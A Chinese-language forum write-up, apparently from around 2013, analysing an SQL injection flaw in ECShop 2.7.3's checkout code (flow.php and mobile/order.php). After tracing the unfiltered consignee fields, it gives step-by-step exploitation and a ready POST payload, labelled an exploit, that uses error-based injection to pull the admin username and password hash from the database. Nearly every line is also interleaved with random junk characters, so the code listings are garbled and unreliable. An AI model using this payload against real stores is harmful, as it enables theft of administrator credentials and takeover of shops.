前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
4 f& w$ x- y6 O: A; T& j1 l9 o. g+ }
+ t, S2 |0 i0 v4 y 漏洞关键文件:) S0 V) o- C+ Z. B; C+ P) v
- g4 m* h- z& u5 c1 U" J( m# W /includes/lib_order.php9 w) u" j% {+ a* q* K3 c
2 ?! X) U2 K) c. b9 x5 U V' q9 Y 关键函数:& [# u! Y+ D+ K8 i$ P& g( I
! s I; C8 a6 X! I- G4 m5 [, G 6 D/ K( I, V+ Y
& s9 v+ N, d; Z4 A, e: C
01 function available_shipping_list($region_id_list)
# S; n% M6 k( P8 x
; S+ |# c m4 v02 { - Z' c6 ]4 M( T3 I7 M0 K
0 |. e* h3 S$ o03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 1 k2 F- [* K2 n$ u L
' r: L! d) [2 w2 _& ?
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ; ~# _" o& a$ s b1 W+ i
9 Q- _; Y$ Y7 p j. S& ?% E! B
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
+ D5 S. l$ r- \+ O; {3 z' I! U5 K: t. L+ a: ~
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . : }4 @2 h# C" T4 y
% H# W( m1 A- H
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
$ h$ q k/ w3 o3 S) J8 Z3 d1 ]' y# } @9 K; @3 {8 O7 X
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
0 r0 ]3 F! V/ _/ ?/ b' g) I2 W& ~0 ^: j0 o" m# l5 N
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; / J7 @7 K( S. F) l/ l
. q. F! h9 O! h
10
& M2 t% G$ M2 g; a! }, X1 Q) o; |" Q9 x* A! e. V
11 return $GLOBALS['db']->getAll($sql);
6 X' y4 l |5 H* R
1 V# a( X& o! @8 \12 }
: _7 T! l. Y) ?4 w' G) O8 i# X- @- o1 f; d
显然对传入的参数没有任何过滤就带入了查询语句。' ?6 X# l* U/ m4 h
0 a, `6 E$ t4 e
下面我们追踪这个函数在flow.php中:
2 j, d0 Y+ H. e 第531行: " ~$ s4 n- \1 ~' \
. S/ m' j; Z. p: o" C
1 $shipping_list = available_shipping_list($region);
* `# G5 z1 @: @1 i. V! H" f n' |3 f
0 S, f9 R' q, ]
( Z9 ?% J+ D& V' u; I6 v& Q - r5 c0 l2 a1 O7 z, b: r
' ]( f1 h a' }4 O+ r# Z再对传入变量进行追踪:6 S- u1 E+ h! w/ [
+ @+ r- b, V q4 d6 U' a
第530行:
# P2 Q( Z6 b8 }+ F$ U) H5 D# G9 G" J% E+ ?3 G; o8 @" c7 p- c
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 3 Z5 g% D( D3 Q8 {) \
# j0 Y5 c! c* h# `( y 7 r$ c# k& i4 ]4 h& f
, R2 k2 @% o7 H
8 Q0 D1 K2 \1 B* {" n
9 p$ R2 m5 [& {) f7 H第473行:
9 r) ^8 x% ]% `& N4 R, f& x0 Q5 g0 F( Q7 |& K6 M; O# z# p* ]' q
1 $consignee = get_consignee($_SESSION['user_id']);
* y( q+ _) u" s
. w* b; \: x$ x# ?到了一个关键函数:1 J' H: j% ?) e1 R$ f J
" v) w) _' c! @7 q0 w3 M/includes/lib_order.php$ }, ]9 t$ {" p
- v; y) Y, s/ W 8 H9 e Y' j5 O: J: F
, ~& p. m& h+ V4 X
& y# ^0 M) t" T$ Z j5 p; F+ G6 b5 `/ L# [
01 function get_consignee($user_id)
; H: [8 m+ p0 k) M; e! \9 T. z* x1 I3 {. |
02 {
$ m3 i6 F4 q% z) p" `
+ I/ W4 \9 n. G% ~& P5 @ Z/ B03 if (isset($_SESSION['flow_consignee'])) " @7 L: R& }8 V
" D" y( X1 I7 g1 K9 D8 J04 { # _9 Y1 }" P2 h$ k c' q5 N% ~
5 s; F, v+ i4 {05 /* 如果存在session,则直接返回session中的收货人信息 */
6 w8 d1 @: G8 X0 y3 q# I g! Z# h* _' m7 J
06 % \, G+ T: h% { g4 K# x
! d, y& S6 t5 ~07 return $_SESSION['flow_consignee']; : g) L- G: |0 e) I9 n* E1 Q; r& b
7 l: a' T6 Z; g4 {
08 } ' _6 f% x" N# J% q
3 q0 e' X5 h7 z6 w9 K( ~& J09 else
0 q& N+ A' s8 ]7 }: `% l5 t
4 u9 ~6 Q5 D3 ]. @0 l S10 { ; W1 s6 n C9 `# b ]1 G; G
5 ?. @ M% ]( Z; Z11 /* 如果不存在,则取得用户的默认收货人信息 */ # u( i3 v9 z- n7 v* \
$ J9 Z' E: I( p2 i4 {' ] ~
12 $arr = array();
: M* l6 a. _5 F* k$ B1 }
4 C- P: b8 M* ^! {: u& {3 E0 F13 " A* ~; C2 L% Y) S
1 Z! X7 e, q% `4 Z, P4 _
14 if ($user_id > 0)
$ N- E# G1 s- J- Q( [* {! W- x/ F- o' d8 P, V0 Q" e7 S0 z2 f
15 { 8 i+ f. d6 j# k5 F* K! Q6 J+ ?6 u
2 e; `# w& n. \5 W/ ~' W16 /* 取默认地址 */
- g, A t' i! ?1 c' V# h9 |) R. E4 {
17 $sql = "SELECT ua.*". % G$ f5 f2 c4 [7 q2 D6 R r
/ w* D3 z6 q. h8 v! C9 G" g18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
! c$ _0 W* G( c9 M- r2 Q& x3 W, i: Z. n9 p: J0 r/ f8 ~, d
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; # ]) o- W9 }# J7 u6 Z
4 l5 H2 y8 O9 s' U4 X20 . i7 q. _: m2 p* c# Y, ^; C; a
; y% u5 l8 ?* S8 V
21 $arr = $GLOBALS['db']->getRow($sql);
( |6 L! n2 t ]/ E- g) r8 w! s/ X* }) X, S4 V, k4 K
22 } ) A2 o& s. f8 I8 r$ c
/ [( m7 O8 S- p0 K23
! I* S4 @! q" t1 I! y! Y" x) w# Z0 H# z( K
24 return $arr;
& E3 W; c9 E3 X6 k, K2 x' h' E) Z' s% Q/ }0 f
25 } ( H+ p4 ?+ D& W) s3 }% ]
g3 i" [6 y! d' b
26 } + B7 J }8 Q3 f7 o3 I; J
8 P; X& d: J3 h7 C显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
. X% p i) _/ x7 V- I8 z& L% N+ z7 u" M4 m$ J8 }5 }
1 ?+ v7 V' u+ a7 g$ h1 R6 a
7 @ N8 ]2 l- i3 K+ L关键点:
% N3 w( d( g" X" ?, v% h
2 d N; N5 f0 m6 c) D | w& z第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);! X; b% s- m- k1 z
- t! ?9 n+ k4 V. Y7 L* W! A0 I% v/ u2 j这里对传入参数反转义存入$_SESSION中。. {4 Z8 |# c5 E0 j2 u
4 L; B3 W9 C8 ^$ K# J, n b2 Q
, j$ e) }8 m/ S& ^0 x6 H
* x7 h/ `5 E) ]; ?7 l% a然后看下:' `$ I8 r) q) R# R* a# L5 ]
4 h# g: K, Q* \% c% p9 B, U" G
+ F$ c8 q! R3 Q5 @% _3 m. @. s* G; d5 c* M; G; L# L
. \1 `( L4 n- A( S7 v5 w; w' F4 w8 l% F$ A1 A# G
01 $consignee = array(
$ u; i' Z6 a7 [3 c" R5 W
( G; p. S9 y" ]5 ~+ F02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), # b+ x3 A. ~% r
, u; p2 L- v9 t6 @0 [
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), 5 B# c; I+ I2 v; F$ C
1 Q2 L; V1 i9 }; d" i; c' E04 'country' => empty($_POST['country']) ? '' _POST['country'],
. m. Z4 Q- F. l2 _& Z* a b
" n! G8 o) h" Z: `( W05 'province' => empty($_POST['province']) ? '' _POST['province'], 9 B3 U+ e% A7 [' d4 w' n5 r8 g2 _9 h5 [
5 g' j( c% Q1 U6 B3 V- _0 @4 l06 'city' => empty($_POST['city']) ? '' _POST['city'], $ m; ~& l4 X1 r$ _" ]) u
* b3 t# k' H' ~( d! l0 J07 'district' => empty($_POST['district']) ? '' _POST['district'],
- B0 ?& _; U) ]* U$ B2 B; G/ u; g
, z8 u) v' ?. k. n08 'email' => empty($_POST['email']) ? '' _POST['email'],
$ E: z1 H; n2 B4 U1 ^
: y; i0 ?! d* U0 F: p09 'address' => empty($_POST['address']) ? '' _POST['address'], " Z* c- P& @3 N* @0 J: a4 O
9 g" X. g5 {+ y10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 7 x2 Z8 h# l. C1 [$ Z1 Z, J
9 I& A, n. F, w11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), ; r# n' ~5 q3 b3 @% p/ l
& {, y& Y3 o9 ]/ `# `
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), $ P6 l' x3 k! l
?! y; ?. l6 v) d% t1 c
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
% v9 C, {: \9 }# J" }0 N9 ^0 w: q8 _' T0 W# |6 `8 R
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 8 _2 Y( k& b9 I9 Z
8 x( v O# j6 k15 );
7 j. n, n8 D! V6 x7 v& X! u2 A
8 n$ p/ X9 v7 u& L好了注入就这样出现了。: z. u# m( p! `( E z3 J, h2 K
* b5 y' p9 [7 `' E2 c1 r==================( E% e9 s+ ]/ ]3 Q' p
' m: Q' J+ o6 v" O
注入测试:- W5 o3 d u% m0 f0 N1 S
) D) _- w/ e! J' {9 \9 [% t环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
3 f$ v4 A" l: ?. t
D, b- ~- k9 a5 N测试程序:ECShop_V2.7.3_UTF8_release1106
# n6 X$ [/ a: y8 r: N5 |1 C1 h+ P7 E# ]2 l
9 k! N5 D1 E; B# M3 B$ F
; q7 o) e& f& W! i! {1.首先需要点击一个商品加入购物车
7 i3 k5 @9 i4 h/ G$ P# W! d# ]4 M, e1 r$ V) w
2.注册一个会员帐号/ H; {- @7 H% m9 K4 I& \
+ q7 ?+ x; h3 \3 W# }' R
3.post提交数据4 ~2 i4 R; J4 K; |! D
5 ^7 W& o8 Y4 ?8 w/ L* ?
' U$ l( J( p) ~$ x8 F
# l2 e+ q$ k: l' b' L2 u4 Q, e3 `1 http://127.0.0.1/ecshop/flow.php ; @: m, p8 C+ E& Z! a
% ]5 Z- @) H" J: p% U9 Z
2
0 _& B" S' R# `/ J# J7 e
6 c" Q2 a% \" f$ t& u3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= & q C2 \8 q. x$ }4 \) ~- B7 Z
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
) S. ~1 F# U0 S+ L! A) M" k/ r% ]& J2 }5 Y* E- U6 s7 e" P
我们搜寻关键函数function available_shipping_list()/ k0 p- f9 U2 e* x) l
8 d# {5 l! C$ Y0 E4 e) X在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同) S8 G( u$ S/ Z6 @% Z
1 g7 G* U1 Y+ }! l! H8 W
利用exp:
! J+ p# A8 L% b/ t& m, p) Z! U
5 B" w* b4 P/ F/ F7 q1.点击一个商品,点击购买商标
1 K+ I6 `( P7 Z/ K( c2 S+ l6 F$ O% a* v
2.登录会员帐号. o, y3 j/ r* U7 `( ~3 O
$ M+ I! W5 G$ \7 ?. k
3.post提交:
+ s+ m. a8 T3 ]- }$ o: @6 A: t7 c& c4 {# x
http://127.0.0.1/ecshop/mobile/order.php* _" ~) B8 I8 t: y
h; {% p+ M, ], \, _
- o7 R W# W2 d0 ?
$ ?9 |5 B, E+ A" H3 b O3 Qcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
5 k7 C" T, r1 \- \) u9 |0 O$ R
: A- z, [ ^1 E) J) B# N' i |